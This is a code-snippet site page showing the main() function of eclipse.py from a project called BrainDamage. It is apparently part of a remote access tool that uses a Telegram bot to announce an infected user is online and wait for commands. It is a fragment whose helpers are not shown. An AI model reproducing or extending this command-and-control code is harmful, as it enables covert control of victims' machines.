eclipse.py 文件源码

python
阅读 19 收藏 0 点赞 0 评论 0

项目:BrainDamage 作者: mehulj94 项目源码 文件源码
def main():

    global bot

    startupThread = threading.Thread(target=startUpWork, args=())
    startupThread.daemon = True
    startupThread.start()

    if internetOn():
        try:
            bot = telepot.Bot(access_token)
            bot.message_loop(handle)
            bot.sendMessage(CHAT_ID, str(current_system_time.strftime("%d|%m|%Y-%H|%M|%S")) + ': '+ USER + ' is online ^_^')
            print ('[*] Listening ...')
            try:
                while 1:
                    time.sleep(5)
            except KeyboardInterrupt:
                print '[*] Eclipse completed...'
        except Exception as e:
            pass
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号